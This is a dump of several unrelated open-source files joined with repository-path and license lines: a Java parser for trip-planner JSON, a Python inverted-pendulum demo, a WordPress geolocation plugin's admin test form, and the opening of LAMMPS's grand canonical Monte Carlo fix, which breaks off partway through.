} catch (IOException ex) {
// handle exception
} finally {
try {
br.close();
}
catch (IOException e) {
// handle exception
}
}
return alertList;
}
private TripInfo parseTripInfoFromJSON(String jsonStr) {
/* Initialize container variables */
String route = "";
String mode = "";
String distance = "";
String routeId = "";
String fromName ="";
String toName ="";
String points ="";
TripInfo tripInfo = new TripInfo();
JSONObject jsonResponse;
try {
/******
* Creates a new JSONObject with name/value mappings from
* the JSON string.
********/
jsonResponse = new JSONObject(jsonStr);
/*--------- plan -----------*/
JSONObject plan = jsonResponse.optJSONObject("plan");
/* Catch the case where the OTP server says the trip isnt possible --Francis */
if (plan == null) {
Log.e("TripDataParser", "Trip does not seem to be possible!");
System.out.println(jsonStr);
return null;
}
/*--------- plan TO -----------*/
JSONObject planFrom = plan.optJSONObject("from");
/*--------- plan FROM -----------*/
JSONObject planTo = plan.optJSONObject("to");
/*--------- itineraries -----------*/
JSONArray itineraries = plan.getJSONArray("itineraries");
int itinerariesLength = itineraries.length();
tripInfo.date = plan.get("date").toString();
tripInfo.origin = planFrom.get("name").toString();
tripInfo.destination = planTo.get("name").toString();
/*--------- itineraries START -----------*/
for(int i = 0; i < itinerariesLength; i++)
{
int itinId = tripInfo.addTrip();
JSONObject jsonChildNode = itineraries.getJSONObject(i);
/*--------- legs -----------*/
JSONArray legsArray = jsonChildNode.getJSONArray("legs");
for(int j = 0; j < legsArray.length(); j++) {
/*--------- legs START -----------*/
JSONObject legsChildNode = legsArray.getJSONObject(j);
JSONObject legGeomObjectInLegs = legsChildNode.optJSONObject("legGeometry");
/*--------- from -----------*/
JSONObject fromObjectInLegs = legsChildNode.optJSONObject("from");
/*--------- to -----------*/
JSONObject toObjectInLegs = legsChildNode.optJSONObject("to");
if(!(legsChildNode.isNull("route"))) {
route = legsChildNode.get("route").toString();
}
if(!(legsChildNode.isNull("mode"))) {
mode = legsChildNode.get("mode").toString();
}
if(!(legsChildNode.isNull("distance"))) {
distance = legsChildNode.get("distance").toString();
}
if(!(legsChildNode.isNull("routeId"))) {
routeId = legsChildNode.get("routeId").toString();
}
if(!(fromObjectInLegs.isNull("name"))) {
fromName = fromObjectInLegs.get("name").toString();
}
if(!(toObjectInLegs.isNull("name"))) {
toName = toObjectInLegs.get("name").toString();
}
if(!(legGeomObjectInLegs.isNull("points"))) {
points = legGeomObjectInLegs.get("points").toString();
}
int routeIndex = tripInfo.addRouteToTrip(itinId, route, mode, distance, routeId, fromName, toName, points);
/* Workarounds to obtain the cost matrix and correct the mode of transit during parsing
* --Francis */
/* Assign cost here */
UtilsUI utils = new UtilsUI();
double[] costMatrix = utils.getRouteCostMatrix(tripInfo.trips.get(itinId).routes.get(routeIndex));
tripInfo.trips.get(itinId).routes.get(routeIndex).costMatrix[0] = costMatrix[0];
tripInfo.trips.get(itinId).routes.get(routeIndex).costMatrix[1] = costMatrix[1];
tripInfo.trips.get(itinId).routes.get(routeIndex).costMatrix[2] = costMatrix[2];
tripInfo.trips.get(itinId).routes.get(routeIndex).costMatrix[3] = costMatrix[3];
Route r = tripInfo.trips.get(itinId).routes.get(routeIndex);
System.out.println("COST MATRIX: " + r.costMatrix[0] + ", " + r.costMatrix[1] + ", " + r.costMatrix[2] + ", " + r.costMatrix[3]);
/* Assign correct mode of transpo */
tripInfo.trips.get(itinId).routes.get(routeIndex).mode = utils.getCorrectModeOfTransit(r);
}
}
} catch (JSONException e) {
e.printStackTrace();
}
return tripInfo;
}
private static boolean isNumeric(String str) {
NumberFormat formatter = NumberFormat.getInstance();
ParsePosition pos = new ParsePosition(0);
formatter.parse(str, pos);
return str.length() == pos.getIndex();
}
}
| gpl-2.0 |
pauljohnleonard/pod-world | CI_2014/ATTIC/CartWithPendulum/03_main_gui_reset.py | 2857 | import cart
import math
import gui
import random
def draw(screen,cart,force):
"""
Called by the simulation to display the current state of the cart.
"""
# clear screen
screen.fill((0,0,0))
# get the size of the window
wid=gui.dim_window[0]
hei=gui.dim_window[1]
# pendulum length
length=cart.l
scale=hei/length/3.0
# map position onto the screen
x1=wid/2.0+cart.getX()*scale
# if too big/small limit the position
if x1 > wid*.8:
x1 =wid*.8
if x1 < wid*.2:
x1 = wid*.2
# base line for the cart
y1=hei*.6
# angle of pendulum
ang=cart.getAngle()
# x,y of the end of pendulum
x2=x1+scale*math.sin(ang)*length
y2=y1+scale*math.cos(ang)*length
# draw pendulum
col=(255,0,0)
thick=3
gui.draw_line(screen,x1,y1,x2,y2,col,thick)
col=(0,255,0)
gui.fill_circle(screen,x2,y2,12,col)
# draw cart
col=(0,0,255)
thick=20
gui.draw_line(screen,x1-20,y1,x1+20,y1,col,thick)
# display the state of the cart
col=(0,255,255)
state=cart.state
str2=""
str2+= "Phi: %5.2f " % (state[0]-math.pi)
str2+= "dphidt: %5.2f " % state[1]
str2+= "x: %5.2f " % state[2]
str2+= "dxdt: %5.2f " %state[3]
str2+= " force: %5.2f " % force
gui.draw_string(screen,str2,(20,10),col,16)
# copy screen onto the display
gui.blit(screen)
#### MAIN CODE #########################
# create an inverted pendulum
cart=cart.Cart()
# set the initial angle
cart.setAngle(math.pi+0.02)
frameRate=10 # slow down to 10 steps per second.
screen = gui.init_surface((800,200)," CART + IP demo" )
while not gui.check_for_quit(): # loop until user hits escape
force=0.0
# check for user key press
keyinput = gui.get_pressed()
if keyinput[gui.keys.K_LEFT]: # push left
force = -1.0
if keyinput[gui.keys.K_RIGHT]: # push right
force = 1.0
# step the car for a single GUI frame
cart.step(force,1.0/frameRate)
################ RESET CODE ##############################
# Test for falling over
# if fallen then reset with a random angle
if abs(math.pi-cart.getAngle()) > math.pi/2:
cart.setAngle(math.pi+0.02*(random.random()-0.5))
############################################################
# draw the cart and display info
draw(screen,cart,force)
# slow the gui down to the given frameRate
gui.tick(frameRate) | gpl-2.0 |
dommariano/wp-geoip-site-locations | admin/edit-settings-tests.php | 5004 | <?php global $geoipsl_settings, $geoipsl_reader; ?>
<form id="geoipsl-settings-keys" action="" method="">
<?php wp_nonce_field( 'geoipsl_settings' ); ?>
<input type="hidden" name="page" value="geoip-site-locations/geoip-site-locations.php/">
<input type="hidden" name="tab" value="tests">
<h3>Data Sources</h3>
<table class="wp-list-table widefat fixed">
<tbody>
<!-- <tr>
<td>
<?php _e( 'Pick a GeoIP database or service to use.', 'geoipsl' ); ?>
</td>
<?php
$geoip_database_or_service_list = array(
1 => __( 'GeoLite2 City', 'geoipsl' ),
2 => __( 'GeoIP2 Country', 'geoipsl' ),
3 => __( 'GeoIP2 City', 'geoipsl' ),
4 => __( 'GeoIP2 Precision Country', 'geoipsl' ),
5 => __( 'GeoIP2 Precision City', 'geoipsl' ),
6 => __( 'GeoIP2 Precision Insights', 'geoipsl' ),
);
?>
<td>
<select name="geoip_test_database_or_service">
<?php foreach ( $geoip_database_or_service_list as $id => $text ) { ?>
<option value="<?php echo esc_attr( $id ); ?>" <?php selected( $geoip_test_database_or_service, $id ); ?>><?php echo esc_html( $text ); ?></option>
<?php } unset( $id, $text ); ?>
</select>
</td>
</tr> -->
<tr class="alternate">
<td>
<?php _e( 'Input an IP to check for testing desktop redirects.', 'geoipsl' ); ?>
</td>
<td>
<input value="<?php echo esc_attr( $geoip_test_ip ); ?>" name="geoip_test_ip" placeholder=" IP">
</td>
</tr>
<tr>
<td>
<?php _e( 'Input starting point coordinates for testing mobile redirects.', 'geoipsl' ); ?>
</td>
<td>
<input value="<?php echo ( $test_mobile_coords_from ) ? $test_mobile_coords_from : ''; ?>" name="test_mobile_coords_from" placeholder=" Latitude, Longitude">
</td>
</tr>
<!-- <tr class="alternate">
<td>
<?php _e( 'Input destination point coordinates, each pair being separated by a new line. Otherwise, coordinates from your actual site options will be used as destination points.', 'geoipsl' ); ?>
</td>
<td><textarea name="test_coords_to" placeholder=" Latitude, Longitude"><?php echo $test_coords_to; ?></textarea></td>
</tr> -->
</tbody>
</table>
<br>
<?php submit_button( __( 'Reset', 'geoipsl' ), 'secondary', 'geoipsl_clear_test', false ); ?>
<?php submit_button( __( 'Save for Debugging', 'geoipsl' ), 'primary', 'geoipsl_save_debug', false ); ?>
<h3>Test Cases</h3>
<table class="wp-list-table widefat fixed">
<tbody>
<tr>
<td>
<?php
$geoipsl_test_case = array(
'' => __( 'Select a test case to execute.', 'geoipsl' ),
//'geoipsl_test_geocode_my_ip' => __( 'Covert IP to geolocation information. ', 'geoipsl' ),
//'geoipsl_test_reverse_geocode_coords' => __( 'Reverse geocode starting point coordinates.', 'geoipsl' ),
'geoipsl_test_ip_to_destination_coords' => __( 'Calculate distance of IP to available destination coordinates.', 'geoipsl' ),
'geoipsl_test_starting_coords_to_destination_coords' => __( 'Calculate distance of starting coords to available destination coordinates.', 'geoipsl' ),
);
?>
<select name="geoipsl_test_case">
<?php
foreach ( $geoipsl_test_case as $id => $text ) { ?>
<option value="<?php echo esc_attr( $id ); ?>" <?php selected( $id, geoipsl_array_value( $_REQUEST, 'geoipsl_test_case', '' ) ); ?>><?php echo esc_attr( $text ); ?></option>
<?php }
unset( $id, $text );
?>
</select>
<?php submit_button( __( 'Test', 'geoipsl' ), 'secondary', 'geoipsl_execute_test', false ); ?>
</td>
</tr>
</tbody>
</table>
<br>
<?php if ( 'geoipsl_execute_test' == geoipsl_array_value( $_REQUEST, 'action', '') ) {
switch( geoipsl_array_value( $_REQUEST, 'geoipsl_test_case', '' ) ) {
case 'geoipsl_test_geocode_my_ip':
require_once( GEOIPSL_PLUGIN_DIR . 'admin/edit-settings-tests-geocode-ip.php' );
break;
case 'geoipsl_test_reverse_geocode_coords':
require_once( GEOIPSL_PLUGIN_DIR . 'admin/edit-settings-tests-reverse-geocode.php' );
break;
case 'geoipsl_test_ip_to_destination_coords':
require_once( GEOIPSL_PLUGIN_DIR . 'admin/edit-settings-tests-ip-distances.php' );
break;
case 'geoipsl_test_starting_coords_to_destination_coords':
require_once( GEOIPSL_PLUGIN_DIR . 'admin/edit-settings-tests-coords-distances.php' );
break;
default:
break;
}
} ?>
</form>
| gpl-2.0 |
rbberger/lammps | src/MC/fix_gcmc.cpp | 81755 | /* ----------------------------------------------------------------------
LAMMPS - Large-scale Atomic/Molecular Massively Parallel Simulator
https://lammps.sandia.gov/, Sandia National Laboratories
Steve Plimpton, [email protected]
Copyright (2003) Sandia Corporation. Under the terms of Contract
DE-AC04-94AL85000 with Sandia Corporation, the U.S. Government retains
certain rights in this software. This software is distributed under
the GNU General Public License.
See the README file in the top-level LAMMPS directory.
------------------------------------------------------------------------- */
/* ----------------------------------------------------------------------
Contributing author: Paul Crozier, Aidan Thompson (SNL)
------------------------------------------------------------------------- */
#include "fix_gcmc.h"
#include "angle.h"
#include "atom.h"
#include "atom_vec.h"
#include "bond.h"
#include "comm.h"
#include "compute.h"
#include "dihedral.h"
#include "domain.h"
#include "error.h"
#include "fix.h"
#include "force.h"
#include "group.h"
#include "improper.h"
#include "kspace.h"
#include "math_const.h"
#include "math_extra.h"
#include "memory.h"
#include "modify.h"
#include "molecule.h"
#include "neighbor.h"
#include "pair.h"
#include "random_park.h"
#include "region.h"
#include "update.h"
#include <cmath>
#include <cstring>
using namespace LAMMPS_NS;
using namespace FixConst;
using namespace MathConst;
// large energy value used to signal overlap
#define MAXENERGYSIGNAL 1.0e100
// this must be lower than MAXENERGYSIGNAL
// by a large amount, so that it is still
// less than total energy when negative
// energy contributions are added to MAXENERGYSIGNAL
#define MAXENERGYTEST 1.0e50
enum{EXCHATOM,EXCHMOL}; // exchmode
enum{MOVEATOM,MOVEMOL}; // movemode
/* ---------------------------------------------------------------------- */
FixGCMC::FixGCMC(LAMMPS *lmp, int narg, char **arg) :
Fix(lmp, narg, arg),
idregion(nullptr), full_flag(0), ngroups(0), groupstrings(nullptr), ngrouptypes(0), grouptypestrings(nullptr),
grouptypebits(nullptr), grouptypes(nullptr), local_gas_list(nullptr), molcoords(nullptr), molq(nullptr), molimage(nullptr),
random_equal(nullptr), random_unequal(nullptr),
fixrigid(nullptr), fixshake(nullptr), idrigid(nullptr), idshake(nullptr)
{
if (narg < 11) error->all(FLERR,"Illegal fix gcmc command");
if (atom->molecular == Atom::TEMPLATE)
error->all(FLERR,"Fix gcmc does not (yet) work with atom_style template");
dynamic_group_allow = 1;
vector_flag = 1;
size_vector = 8;
global_freq = 1;
extvector = 0;
restart_global = 1;
time_depend = 1;
// required args
nevery = utils::inumeric(FLERR,arg[3],false,lmp);
nexchanges = utils::inumeric(FLERR,arg[4],false,lmp);
nmcmoves = utils::inumeric(FLERR,arg[5],false,lmp);
ngcmc_type = utils::inumeric(FLERR,arg[6],false,lmp);
seed = utils::inumeric(FLERR,arg[7],false,lmp);
reservoir_temperature = utils::numeric(FLERR,arg[8],false,lmp);
chemical_potential = utils::numeric(FLERR,arg[9],false,lmp);
displace = utils::numeric(FLERR,arg[10],false,lmp);
if (nevery <= 0) error->all(FLERR,"Illegal fix gcmc command");
if (nexchanges < 0) error->all(FLERR,"Illegal fix gcmc command");
if (nmcmoves < 0) error->all(FLERR,"Illegal fix gcmc command");
if (seed <= 0) error->all(FLERR,"Illegal fix gcmc command");
if (reservoir_temperature < 0.0)
error->all(FLERR,"Illegal fix gcmc command");
if (displace < 0.0) error->all(FLERR,"Illegal fix gcmc command");
// read options from end of input line
options(narg-11,&arg[11]);
// random number generator, same for all procs
random_equal = new RanPark(lmp,seed);
// random number generator, not the same for all procs
random_unequal = new RanPark(lmp,seed);
// error checks on region and its extent being inside simulation box
region_xlo = region_xhi = region_ylo = region_yhi =
region_zlo = region_zhi = 0.0;
if (regionflag) {
if (domain->regions[iregion]->bboxflag == 0)
error->all(FLERR,"Fix gcmc region does not support a bounding box");
if (domain->regions[iregion]->dynamic_check())
error->all(FLERR,"Fix gcmc region cannot be dynamic");
region_xlo = domain->regions[iregion]->extent_xlo;
region_xhi = domain->regions[iregion]->extent_xhi;
region_ylo = domain->regions[iregion]->extent_ylo;
region_yhi = domain->regions[iregion]->extent_yhi;
region_zlo = domain->regions[iregion]->extent_zlo;
region_zhi = domain->regions[iregion]->extent_zhi;
if (region_xlo < domain->boxlo[0] || region_xhi > domain->boxhi[0] ||
region_ylo < domain->boxlo[1] || region_yhi > domain->boxhi[1] ||
region_zlo < domain->boxlo[2] || region_zhi > domain->boxhi[2])
error->all(FLERR,"Fix gcmc region extends outside simulation box");
// estimate region volume using MC trials
double coord[3];
int inside = 0;
int attempts = 10000000;
for (int i = 0; i < attempts; i++) {
coord[0] = region_xlo + random_equal->uniform() * (region_xhi-region_xlo);
coord[1] = region_ylo + random_equal->uniform() * (region_yhi-region_ylo);
coord[2] = region_zlo + random_equal->uniform() * (region_zhi-region_zlo);
if (domain->regions[iregion]->match(coord[0],coord[1],coord[2]) != 0)
inside++;
}
double max_region_volume = (region_xhi - region_xlo)*
(region_yhi - region_ylo)*(region_zhi - region_zlo);
region_volume = max_region_volume*static_cast<double> (inside)/
static_cast<double> (attempts);
}
// error check and further setup for exchmode = EXCHMOL
if (exchmode == EXCHMOL) {
if (onemols[imol]->xflag == 0)
error->all(FLERR,"Fix gcmc molecule must have coordinates");
if (onemols[imol]->typeflag == 0)
error->all(FLERR,"Fix gcmc molecule must have atom types");
if (ngcmc_type != 0)
error->all(FLERR,"Atom type must be zero in fix gcmc mol command");
if (onemols[imol]->qflag == 1 && atom->q == nullptr)
error->all(FLERR,"Fix gcmc molecule has charges, but atom style does not");
if (atom->molecular == Atom::TEMPLATE && onemols != atom->avec->onemols)
error->all(FLERR,"Fix gcmc molecule template ID must be same "
"as atom_style template ID");
onemols[imol]->check_attributes(0);
}
if (charge_flag && atom->q == nullptr)
error->all(FLERR,"Fix gcmc atom has charge, but atom style does not");
if (rigidflag && exchmode == EXCHATOM)
error->all(FLERR,"Cannot use fix gcmc rigid and not molecule");
if (shakeflag && exchmode == EXCHATOM)
error->all(FLERR,"Cannot use fix gcmc shake and not molecule");
if (rigidflag && shakeflag)
error->all(FLERR,"Cannot use fix gcmc rigid and shake");
if (rigidflag && (nmcmoves > 0))
error->all(FLERR,"Cannot use fix gcmc rigid with MC moves");
if (shakeflag && (nmcmoves > 0))
error->all(FLERR,"Cannot use fix gcmc shake with MC moves");
// setup of array of coordinates for molecule insertion
// also used by rotation moves for any molecule
if (exchmode == EXCHATOM) natoms_per_molecule = 1;
else natoms_per_molecule = onemols[imol]->natoms;
nmaxmolatoms = natoms_per_molecule;
grow_molecule_arrays(nmaxmolatoms);
// compute the number of MC cycles that occur nevery timesteps
ncycles = nexchanges + nmcmoves;
// set up reneighboring
force_reneighbor = 1;
next_reneighbor = update->ntimestep + 1;
// zero out counters
ntranslation_attempts = 0.0;
ntranslation_successes = 0.0;
nrotation_attempts = 0.0;
nrotation_successes = 0.0;
ndeletion_attempts = 0.0;
ndeletion_successes = 0.0;
ninsertion_attempts = 0.0;
ninsertion_successes = 0.0;
gcmc_nmax = 0;
local_gas_list = nullptr;
}
/* ----------------------------------------------------------------------
parse optional parameters at end of input line
------------------------------------------------------------------------- */
void FixGCMC::options(int narg, char **arg)
{
if (narg < 0) error->all(FLERR,"Illegal fix gcmc command");
// defaults
exchmode = EXCHATOM;
movemode = MOVEATOM;
patomtrans = 0.0;
pmoltrans = 0.0;
pmolrotate = 0.0;
pmctot = 0.0;
max_rotation_angle = 10*MY_PI/180;
regionflag = 0;
iregion = -1;
region_volume = 0;
max_region_attempts = 1000;
molecule_group = 0;
molecule_group_bit = 0;
molecule_group_inversebit = 0;
exclusion_group = 0;
exclusion_group_bit = 0;
pressure_flag = false;
pressure = 0.0;
fugacity_coeff = 1.0;
rigidflag = 0;
shakeflag = 0;
charge = 0.0;
charge_flag = false;
full_flag = false;
ngroups = 0;
int ngroupsmax = 0;
groupstrings = nullptr;
ngrouptypes = 0;
int ngrouptypesmax = 0;
grouptypestrings = nullptr;
grouptypes = nullptr;
grouptypebits = nullptr;
energy_intra = 0.0;
tfac_insert = 1.0;
overlap_cutoffsq = 0.0;
overlap_flag = 0;
min_ngas = -1;
max_ngas = INT_MAX;
int iarg = 0;
while (iarg < narg) {
if (strcmp(arg[iarg],"mol") == 0) {
if (iarg+2 > narg) error->all(FLERR,"Illegal fix gcmc command");
imol = atom->find_molecule(arg[iarg+1]);
if (imol == -1)
error->all(FLERR,"Molecule template ID for fix gcmc does not exist");
if (atom->molecules[imol]->nset > 1 && comm->me == 0)
error->warning(FLERR,"Molecule template for "
"fix gcmc has multiple molecules");
exchmode = EXCHMOL;
onemols = atom->molecules;
nmol = onemols[imol]->nset;
iarg += 2;
} else if (strcmp(arg[iarg],"mcmoves") == 0) {
if (iarg+4 > narg) error->all(FLERR,"Illegal fix gcmc command");
patomtrans = utils::numeric(FLERR,arg[iarg+1],false,lmp);
pmoltrans = utils::numeric(FLERR,arg[iarg+2],false,lmp);
pmolrotate = utils::numeric(FLERR,arg[iarg+3],false,lmp);
if (patomtrans < 0 || pmoltrans < 0 || pmolrotate < 0)
error->all(FLERR,"Illegal fix gcmc command");
pmctot = patomtrans + pmoltrans + pmolrotate;
if (pmctot <= 0)
error->all(FLERR,"Illegal fix gcmc command");
iarg += 4;
} else if (strcmp(arg[iarg],"region") == 0) {
if (iarg+2 > narg) error->all(FLERR,"Illegal fix gcmc command");
iregion = domain->find_region(arg[iarg+1]);
if (iregion == -1)
error->all(FLERR,"Region ID for fix gcmc does not exist");
idregion = utils::strdup(arg[iarg+1]);
regionflag = 1;
iarg += 2;
} else if (strcmp(arg[iarg],"maxangle") == 0) {
if (iarg+2 > narg) error->all(FLERR,"Illegal fix gcmc command");
max_rotation_angle = utils::numeric(FLERR,arg[iarg+1],false,lmp);
max_rotation_angle *= MY_PI/180;
iarg += 2;
} else if (strcmp(arg[iarg],"pressure") == 0) {
if (iarg+2 > narg) error->all(FLERR,"Illegal fix gcmc command");
pressure = utils::numeric(FLERR,arg[iarg+1],false,lmp);
pressure_flag = true;
iarg += 2;
} else if (strcmp(arg[iarg],"fugacity_coeff") == 0) {
if (iarg+2 > narg) error->all(FLERR,"Illegal fix gcmc command");
fugacity_coeff = utils::numeric(FLERR,arg[iarg+1],false,lmp);
iarg += 2;
} else if (strcmp(arg[iarg],"charge") == 0) {
if (iarg+2 > narg) error->all(FLERR,"Illegal fix gcmc command");
charge = utils::numeric(FLERR,arg[iarg+1],false,lmp);
charge_flag = true;
iarg += 2;
} else if (strcmp(arg[iarg],"rigid") == 0) {
if (iarg+2 > narg) error->all(FLERR,"Illegal fix gcmc command");
delete [] idrigid;
idrigid = utils::strdup(arg[iarg+1]);
rigidflag = 1;
iarg += 2;
} else if (strcmp(arg[iarg],"shake") == 0) {
if (iarg+2 > narg) error->all(FLERR,"Illegal fix gcmc command");
delete [] idshake;
idshake = utils::strdup(arg[iarg+1]);
shakeflag = 1;
iarg += 2;
} else if (strcmp(arg[iarg],"full_energy") == 0) {
full_flag = true;
iarg += 1;
} else if (strcmp(arg[iarg],"group") == 0) {
if (iarg+2 > narg) error->all(FLERR,"Illegal fix gcmc command");
if (ngroups >= ngroupsmax) {
ngroupsmax = ngroups+1;
groupstrings = (char **)
memory->srealloc(groupstrings,
ngroupsmax*sizeof(char *),
"fix_gcmc:groupstrings");
}
groupstrings[ngroups] = utils::strdup(arg[iarg+1]);
ngroups++;
iarg += 2;
} else if (strcmp(arg[iarg],"grouptype") == 0) {
if (iarg+3 > narg) error->all(FLERR,"Illegal fix gcmc command");
if (ngrouptypes >= ngrouptypesmax) {
ngrouptypesmax = ngrouptypes+1;
grouptypes = (int*) memory->srealloc(grouptypes,ngrouptypesmax*sizeof(int),
"fix_gcmc:grouptypes");
grouptypestrings = (char**)
memory->srealloc(grouptypestrings,
ngrouptypesmax*sizeof(char *),
"fix_gcmc:grouptypestrings");
}
grouptypes[ngrouptypes] = utils::inumeric(FLERR,arg[iarg+1],false,lmp);
grouptypestrings[ngrouptypes] = utils::strdup(arg[iarg+2]);
ngrouptypes++;
iarg += 3;
} else if (strcmp(arg[iarg],"intra_energy") == 0) {
if (iarg+2 > narg) error->all(FLERR,"Illegal fix gcmc command");
energy_intra = utils::numeric(FLERR,arg[iarg+1],false,lmp);
iarg += 2;
} else if (strcmp(arg[iarg],"tfac_insert") == 0) {
if (iarg+2 > narg) error->all(FLERR,"Illegal fix gcmc command");
tfac_insert = utils::numeric(FLERR,arg[iarg+1],false,lmp);
iarg += 2;
} else if (strcmp(arg[iarg],"overlap_cutoff") == 0) {
if (iarg+2 > narg) error->all(FLERR,"Illegal fix gcmc command");
double rtmp = utils::numeric(FLERR,arg[iarg+1],false,lmp);
overlap_cutoffsq = rtmp*rtmp;
overlap_flag = 1;
iarg += 2;
} else if (strcmp(arg[iarg],"min") == 0) {
if (iarg+2 > narg) error->all(FLERR,"Illegal fix gcmc command");
min_ngas = utils::numeric(FLERR,arg[iarg+1],false,lmp);
iarg += 2;
} else if (strcmp(arg[iarg],"max") == 0) {
if (iarg+2 > narg) error->all(FLERR,"Illegal fix gcmc command");
max_ngas = utils::numeric(FLERR,arg[iarg+1],false,lmp);
iarg += 2;
} else error->all(FLERR,"Illegal fix gcmc command");
}
}
/* ---------------------------------------------------------------------- */
FixGCMC::~FixGCMC()
{
if (regionflag) delete [] idregion;
delete random_equal;
delete random_unequal;
memory->destroy(local_gas_list);
memory->destroy(molcoords);
memory->destroy(molq);
memory->destroy(molimage);
delete [] idrigid;
delete [] idshake;
if (ngroups > 0) {
for (int igroup = 0; igroup < ngroups; igroup++)
delete [] groupstrings[igroup];
memory->sfree(groupstrings);
}
if (ngrouptypes > 0) {
memory->destroy(grouptypes);
memory->destroy(grouptypebits);
for (int igroup = 0; igroup < ngrouptypes; igroup++)
delete [] grouptypestrings[igroup];
memory->sfree(grouptypestrings);
}
if (full_flag && group) {
int igroupall = group->find("all");
neighbor->exclusion_group_group_delete(exclusion_group,igroupall);
}
}
/* ---------------------------------------------------------------------- */
int FixGCMC::setmask()
{
int mask = 0;
mask |= PRE_EXCHANGE;
return mask;
}
/* ---------------------------------------------------------------------- */
void FixGCMC::init()
{
triclinic = domain->triclinic;
// set probabilities for MC moves
if (pmctot == 0.0)
if (exchmode == EXCHATOM) {
movemode = MOVEATOM;
patomtrans = 1.0;
pmoltrans = 0.0;
pmolrotate = 0.0;
} else {
movemode = MOVEMOL;
patomtrans = 0.0;
pmoltrans = 0.5;
pmolrotate = 0.5;
}
else {
if (pmoltrans == 0.0 && pmolrotate == 0.0)
movemode = MOVEATOM;
else
movemode = MOVEMOL;
patomtrans /= pmctot;
pmoltrans /= pmctot;
pmolrotate /= pmctot;
}
// decide whether to switch to the full_energy option
if (!full_flag) {
if ((force->kspace) ||
(force->pair == nullptr) ||
(force->pair->single_enable == 0) ||
(force->pair_match("^hybrid",0)) ||
(force->pair_match("^eam",0)) ||
(force->pair->tail_flag)) {
full_flag = true;
if (comm->me == 0)
error->warning(FLERR,"Fix gcmc using full_energy option");
}
}
if (full_flag) c_pe = modify->compute[modify->find_compute("thermo_pe")];
int *type = atom->type;
if (exchmode == EXCHATOM) {
if (ngcmc_type <= 0 || ngcmc_type > atom->ntypes)
error->all(FLERR,"Invalid atom type in fix gcmc command");
}
// if atoms are exchanged, warn if any deletable atom has a mol ID
if ((exchmode == EXCHATOM) && atom->molecule_flag) {
tagint *molecule = atom->molecule;
int flag = 0;
for (int i = 0; i < atom->nlocal; i++)
if (type[i] == ngcmc_type)
if (molecule[i]) flag = 1;
int flagall;
MPI_Allreduce(&flag,&flagall,1,MPI_INT,MPI_SUM,world);
if (flagall && comm->me == 0)
error->all(FLERR,
"Fix gcmc cannot exchange individual atoms belonging to a molecule");
}
// if molecules are exchanged or moved, check for unset mol IDs
if (exchmode == EXCHMOL || movemode == MOVEMOL) {
tagint *molecule = atom->molecule;
int *mask = atom->mask;
int flag = 0;
for (int i = 0; i < atom->nlocal; i++)
if (mask[i] == groupbit)
if (molecule[i] == 0) flag = 1;
int flagall;
MPI_Allreduce(&flag,&flagall,1,MPI_INT,MPI_SUM,world);
if (flagall && comm->me == 0)
error->all(FLERR,
"All mol IDs should be set for fix gcmc group atoms");
}
if (exchmode == EXCHMOL || movemode == MOVEMOL)
if (atom->molecule_flag == 0 || !atom->tag_enable
|| (atom->map_style == Atom::MAP_NONE))
error->all(FLERR,
"Fix gcmc molecule command requires that "
"atoms have molecule attributes");
// if rigidflag defined, check for rigid/small fix
// its molecule template must be same as this one
fixrigid = nullptr;
if (rigidflag) {
int ifix = modify->find_fix(idrigid);
if (ifix < 0) error->all(FLERR,"Fix gcmc rigid fix does not exist");
fixrigid = modify->fix[ifix];
int tmp;
if (&onemols[imol] != (Molecule **) fixrigid->extract("onemol",tmp))
error->all(FLERR,
"Fix gcmc and fix rigid/small not using "
"same molecule template ID");
}
// if shakeflag defined, check for SHAKE fix
// its molecule template must be same as this one
fixshake = nullptr;
if (shakeflag) {
int ifix = modify->find_fix(idshake);
if (ifix < 0) error->all(FLERR,"Fix gcmc shake fix does not exist");
fixshake = modify->fix[ifix];
int tmp;
if (&onemols[imol] != (Molecule **) fixshake->extract("onemol",tmp))
error->all(FLERR,"Fix gcmc and fix shake not using "
"same molecule template ID");
}
if (domain->dimension == 2)
error->all(FLERR,"Cannot use fix gcmc in a 2d simulation");
// create a new group for interaction exclusions
// used for attempted atom or molecule deletions
// skip if already exists from previous init()
if (full_flag && !exclusion_group_bit) {
// create unique group name for atoms to be excluded
auto group_id = std::string("FixGCMC:gcmc_exclusion_group:") + id;
group->assign(group_id + " subtract all all");
exclusion_group = group->find(group_id);
if (exclusion_group == -1)
error->all(FLERR,"Could not find fix gcmc exclusion group ID");
exclusion_group_bit = group->bitmask[exclusion_group];
// neighbor list exclusion setup
// turn off interactions between group all and the exclusion group
neighbor->modify_params(fmt::format("exclude group {} all",group_id));
}
// create a new group for temporary use with selected molecules
if (exchmode == EXCHMOL || movemode == MOVEMOL) {
// create unique group name for atoms to be rotated
auto group_id = std::string("FixGCMC:rotation_gas_atoms:") + id;
group->assign(group_id + " molecule -1");
molecule_group = group->find(group_id);
if (molecule_group == -1)
error->all(FLERR,"Could not find fix gcmc rotation group ID");
molecule_group_bit = group->bitmask[molecule_group];
molecule_group_inversebit = molecule_group_bit ^ ~0;
}
// get all of the needed molecule data if exchanging
// or moving molecules, otherwise just get the gas mass
if (exchmode == EXCHMOL || movemode == MOVEMOL) {
onemols[imol]->compute_mass();
onemols[imol]->compute_com();
gas_mass = onemols[imol]->masstotal;
for (int i = 0; i < onemols[imol]->natoms; i++) {
onemols[imol]->x[i][0] -= onemols[imol]->com[0];
onemols[imol]->x[i][1] -= onemols[imol]->com[1];
onemols[imol]->x[i][2] -= onemols[imol]->com[2];
}
onemols[imol]->com[0] = 0;
onemols[imol]->com[1] = 0;
onemols[imol]->com[2] = 0;
} else gas_mass = atom->mass[ngcmc_type];
if (gas_mass <= 0.0)
error->all(FLERR,"Illegal fix gcmc gas mass <= 0");
// check that no deletable atoms are in atom->firstgroup
// deleting such an atom would not leave firstgroup atoms first
if (atom->firstgroup >= 0) {
int *mask = atom->mask;
int firstgroupbit = group->bitmask[atom->firstgroup];
int flag = 0;
for (int i = 0; i < atom->nlocal; i++)
if ((mask[i] == groupbit) && (mask[i] && firstgroupbit)) flag = 1;
int flagall;
MPI_Allreduce(&flag,&flagall,1,MPI_INT,MPI_SUM,world);
if (flagall)
error->all(FLERR,"Cannot do GCMC on atoms in atom_modify first group");
}
// compute beta, lambda, sigma, and the zz factor
// For LJ units, lambda=1
beta = 1.0/(force->boltz*reservoir_temperature);
if (strcmp(update->unit_style,"lj") == 0)
zz = exp(beta*chemical_potential);
else {
double lambda = sqrt(force->hplanck*force->hplanck/
(2.0*MY_PI*gas_mass*force->mvv2e*
force->boltz*reservoir_temperature));
zz = exp(beta*chemical_potential)/(pow(lambda,3.0));
}
